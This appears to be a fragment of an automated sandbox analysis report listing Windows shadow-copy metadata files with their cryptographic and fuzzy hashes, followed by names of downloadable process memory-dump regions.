SHA512 f0bfaebaa13026b6cd83e9ac1477bb1a7f5adafaa43a90603729c8cd748bcbe653eada031067b67c8f12d141a11a34c71f117bd157883affaaa670d43572f318
TLSH
T13971513721C44179B35323ED58192698B137803B87499DA5B6BDC1A9F7A10FE82E36A3
MD5 SHA1 SHA512 TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 a897056826f6068f381b41f9b6f8ff680a2eea3816b531c229c394131cac5189
MD5 4049b08a58abe5d52acf3aa7076a343a
SHA1 fe8688377476d4172ac4ec0f43e783caf68a6e89
SHA512 f40106e1513432e2de89b871073a07fcc7a21ba37d17c2c8e22c5d7f506185041ecb9e92fd0bc5603186a0dc1c0ed29875829785aac048e7dcf1573cee85cb10
SSDEEP 24576:1Fo3DMPPdoO/vvTL/iA7bSlgvr+xwLcY0GdJNW1jtu1a5MKr84h2bCx6fuf:/HU
TLSH
T15157A12436F92600E7B79E7CACF06A234D3A7D5B9C15DE8D45411B4E0822F71E872F6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{0fed59fd-5027-4cef-a608-e62447be66d2}_OnDiskSnapshotProp

Path \??\Volume{d164085c-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{0fed59fd-5027-4cef-a608-e62447be66d2}_OnDiskSnapshotProp
Size 6KB
SHA256 f1b6e49f7615bf1ed87578d5e0d7e2d383400218094ad92f11a738eab6bf356b
MD5 f66a3206b6959592731cb1e6075858e9
SHA1 e8432c9a788ff510aa72fa020d73ede97dcf286e
SHA512 28a78e91aa80567744bdd4c4aa7e260ba8270de1153b71ad0452f6cc3e7502445e84556eba5d0bfb9d63020774fa61c1f88d1ed05813f44e86846acbe65791c2
SSDEEP 96:F/XDnLvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:9jb++uVm
TLSH
T185D177085AF54711E2B3AB7128F18557A837B911EF33CB8E0198238E2671A10F935F6F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/240-97-0x00000000079C0000-0x0000000007F7A000-memory.dmp

Download

memory/240-96-0x00000000066B0000-0x00000000066D2000-memory.dmp

Download

memory/240-98-0x00000000075E0000-0x00000000077A2000-memory.dmp

Download

memory/256-67-0x0000000005830000-0x0000000005852000-memory.dmp

Download

memory/256-74-0x0000000006630000-0x000000000667C000-memory.dmp

Download

memory/256-65-0x0000000005140000-0x0000000005176000-memory.dmp

Download

memory/256-66-0x00000000058B0000-0x0000000005EFA000-memory.dmp

Download

memory/256-69-0x00000000060A0000-0x0000000006106000-memory.dmp

Download

memory/256-68-0x0000000006030000-0x0000000006096000-memory.dmp

Download

memory/256-72-0x0000000006290000-0x00000000065EB000-memory.dmp

Download

memory/256-73-0x0000000006600000-0x000000000661E000-memory.dmp

Download

memory/5672-87-0x0000000007200000-0x000000000720A000-memory.dmp

Download

memory/5672-79-0x0000000006FF0000-0x0000000007026000-memory.dmp

Download

memory/5672-90-0x0000000007360000-0x0000000007371000-memory.dmp

Download

memory/5672-80-0x000000006F740000-0x000000006F78C000-memory.dmp

Download

memory/5672-88-0x0000000007400000-0x0000000007496000-memory.dmp

Download

memory/5672-83-0x0000000006FD0000-0x0000000006FF0000-memory.dmp

Download

memory/5672-86-0x00000000071A0000-0x00000000071BA000-memory.dmp

Download

memory/5672-85-0x00000000077F0000-0x0000000007E6C000-memory.dmp

Download

memory/5672-84-0x0000000007040000-0x00000000070E3000-memory.dmp

Download